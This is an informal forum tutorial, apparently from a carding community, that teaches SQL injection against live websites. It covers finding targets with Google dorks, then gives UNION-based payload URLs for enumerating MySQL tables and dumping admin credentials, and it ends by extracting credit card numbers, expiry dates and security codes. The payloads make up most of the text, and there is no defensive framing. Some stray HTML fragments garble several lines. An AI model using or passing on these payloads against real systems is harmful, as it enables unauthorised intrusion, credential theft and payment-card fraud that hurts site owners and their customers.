[Full Tutorial] SQL Injection 2016 [No Survey]


In this tutorial i will describe how SQL injection works and how to
use it to get some useful information.

0. First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(shortly).

1. What do I need?


  • Mozilla firefox (any other browser goes aswell but they translate every special character(',";+-) you type in the adress-bar into unreadable code)
  • Balls, there is no easy way, no skipping, only the hard way and this means you will have to try some stuff yourself and maybe need to research some basics about SQL(this is a rather easy language).
  • Brains, you can always ask questions but think before you ask.




2. Finding a vulnerable site...

This might be the crappiest part of the story but once you find one; you're good to go. I always use google dorks to find vulnerable sites. I have a very good list and I will mail it to you; if you need it.(leave your email in comment section dont PM me)

So go to google.com and enter something like this: inurl:news.php?id= hit ENTER 
and you will find a bunch of sites, select 1 and check if it is vulnerable.

3. SQL Injection (classic or error based or whatever you call it)

I. Check for Vulnerability

Let's say that we have some site like this


Now to test if it is vulrnable: we add to the end of url ' (quote),


So if we get some error like:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar..

that means it is vulrnable to SQL injection!

II. Find the Number of Columns

To find number of columns we use this statement: ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5' order by 1/* <-- b="" error="" no="">

NOTE: if /* is not working or you get some error, then try: --

http://www.site.com/news.php?id=5' order by 2/* <-- b="" error="" no="">

http://www.site.com/news.php?id=5' order by 3/* <-- b="" error="" no="">

http://www.site.com/news.php?id=5' order by 4/* <-- font="" nbsp="" style="box-shadow: none !important;">error
 (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

III. Check for UNION function

With union we can select more data in one sql statement.

so we have something like this:

http://www.site.com/news.php?id=5' union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, for example: 1 or 2 or 3 then the UNION works. The numbers that are displayed are the vulnerable column numbers. We are going to inject there, but first...

IV. Check for MySQL version

Lets say that we have the number 2 on the screen(which means column nr. 2 is vulnerable), now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or something similar.

it should look like this:
http://www.site.com/news.php?id=5' union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

then we need to convert it with this: convert() function

i.e.

http://www.site.com/news.php?id=5' union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5' union all select 1,unhex(hex(@@version)),3/*

This way you will get the MySQL version.

V. Getting table and column name

Well, if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) --> follow this section: "MySQL 4 or lower."
for MySQL > 5 versions -->skip this section and go straight to: "MySQL 5 or greater."

MySQL 4 or lower.
The problem with this version is that we must guess some tables and column names in most cases.

common table names are: user/s, admin/s, member/s, cardnumber/s...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd, cardtype, cardname, cardnumber, expirydate, securitycode etc...

i.e would be:

http://www.site.com/news.php?id=5' union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that shows us this table name exists(admin))

we know that table admin exists...

Now we need to find a column name of the table name(admin); we keep the from admin/* statement; but we change the vulnerable column (2) to a possible column name: username

like this:

http://www.site.com/news.php?id=5' union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

Lets say we get usernames displayed on our screen, examples would be: admin, or superadmin etc...

If we want to know the passwords we need to use the same method. check if column passwordexists(same method):

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

You can see the password in 2 possible formats on your screen:
  • in hash(a bunch of characters take make no sense. i.e md5 hash, mysql hash, sha1...)
  • plain-text(password is directly visible)


It all depends of how the database is set up..

Now, if we want both column names (username + password) displayed on our screen we are going to use a query:

we can use the: concat() function (this joins the strings)

i.e

http://www.site.com/news.php?id=5' union all select 1,concat(username,0x3a,password),3 from admin/*

Note: Do you see the 0x3a I put there? Its hex value for : (so 0x3a is hex value for column)

(there is another way for that, char(58), ascii value for : ) 

http://www.site.com/news.php?id=5' union all select 1,concat(username,char(58),password),3 from admin/*

now we get this displayed: username: password on the screen, 
i.e.
  • admin:admin123 <-- admin="" b="" can="" have="" like="" login="" or="" plain="" some="" superuser.="" text="" this="" when="" you="">
  • superadmin:eb45fhhd64fgd41c5d <-- 2="" b="" basicly="" hash="" have="" options:="" string="" then="" you="">

    option 1: there are alot of good hash crackers online which may crack your string give it a try(mostly limited to pre-found hash strings).
    option 2: go to this website: http://www.insidepro.com/ and get your own hash cracking tool. there are some good tutorials here on altenen about this and how to use it properly so give it a search.


MySQL 5 or greater.

For this we need information_schema. It holds all tables and columns in database.

To get tables names we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5' union all select 1,table_name,3 frominformation_schema.tables/*

here we replace the our number 2 with table_name to get the all table names on the screen. You will see it doesnt look so pretty and not organized so I prefer using a query script(DONT edit this; just COPY & PASTE): 

(SELECT(@x)from(select(@x:=0x00),(SELECT(0)from(in formation_schema.columns)where(table_schema!=0x696 e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:= concat(@x,0x3c62723e,table_schema,0x2f,table_name, 0x2f,column_name))))x)



i.e
(SELECT(@x)from(select(@x:=0x00),(SELECT(0)from(in formation_schema.columns)where(table_schema!=0x696 e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:= concat(@x,0x3c62723e,table_schema,0x2f,table_name, 0x2f,column_name))))x),3*/

You will get something like this: database_name/table_name/column_name 
example: 
...
webinksc_webink/cardnumbers/CardType
webinksc_webink/cardnumbers/CardName
webinksc_webink/cardnumbers/CardNumber
webinksc_webink/cardnumbers/ExpiryDate
webinksc_webink/cardnumbers/SecurityCode
...
(the whole database directory is visible)

Choose a table name that looks interesting like: creditcards
Choose the colum names that you want to know of creditcards for example: CardNumberExpiryDateand SecurityNumber.


To get these column names in one page we are going to use another query, to put them all together.

for that we use concat() , or group_concat().

i.e

http://www.site.com/news.php?id=5' union all select 1,concat(CardNumber,0x3a,ExpiryDate,0x3a,SecurityNum ber) from creditcards/*

what we get here is CardNumber: ExpiryDate: SecurityNumber from the table creditcards.

example: 1161094121611:10/18:666

There you have it, full control of the database